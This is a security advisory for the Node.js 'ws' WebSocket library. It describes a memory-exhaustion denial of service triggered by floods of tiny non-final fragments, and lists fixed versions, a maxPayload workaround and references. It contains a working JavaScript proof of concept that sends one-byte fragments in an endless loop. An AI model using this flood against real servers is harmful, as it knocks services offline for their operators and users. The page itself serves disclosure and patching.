GHSA-96hv-2xvq-fx4p
ws: Memory exhaustion DoS from tiny fragments and data chunks
Quick fix
GHSA-96hv-2xvq-fx4p — ws: upgrade to the fixed version with the command below.
npm install ws@5.2.5Details
### Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
### Proof of concept
```js import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });
ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); });
wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ```
### Patches
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
### Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.
### Credits
The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-48779[ADVISORY]
- https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8[WEB]
- https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94[WEB]
- https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53[WEB]
- https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7[WEB]
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json[WEB]
- https://github.com/websockets/ws[PACKAGE]
- https://bugzilla.redhat.com/show_bug.cgi?id=2489661[WEB]
- https://access.redhat.com/security/cve/CVE-2026-48779[WEB]
- https://access.redhat.com/errata/RHSA-2026:37272[WEB]
- https://access.redhat.com/errata/RHSA-2026:36820[WEB]
- https://access.redhat.com/errata/RHSA-2026:36754[WEB]
- https://access.redhat.com/errata/RHSA-2026:34342[WEB]
- https://access.redhat.com/errata/RHSA-2026:33574[WEB]
- https://access.redhat.com/errata/RHSA-2026:33183[WEB]
- https://access.redhat.com/errata/RHSA-2026:33173[WEB]
- https://access.redhat.com/errata/RHSA-2026:33163[WEB]
- https://access.redhat.com/errata/RHSA-2026:33160[WEB]
- https://access.redhat.com/errata/RHSA-2026:33155[WEB]
- https://access.redhat.com/errata/RHSA-2026:29197[WEB]
- https://access.redhat.com/errata/RHSA-2026:27171[WEB]
- https://access.redhat.com/errata/RHSA-2026:26638[WEB]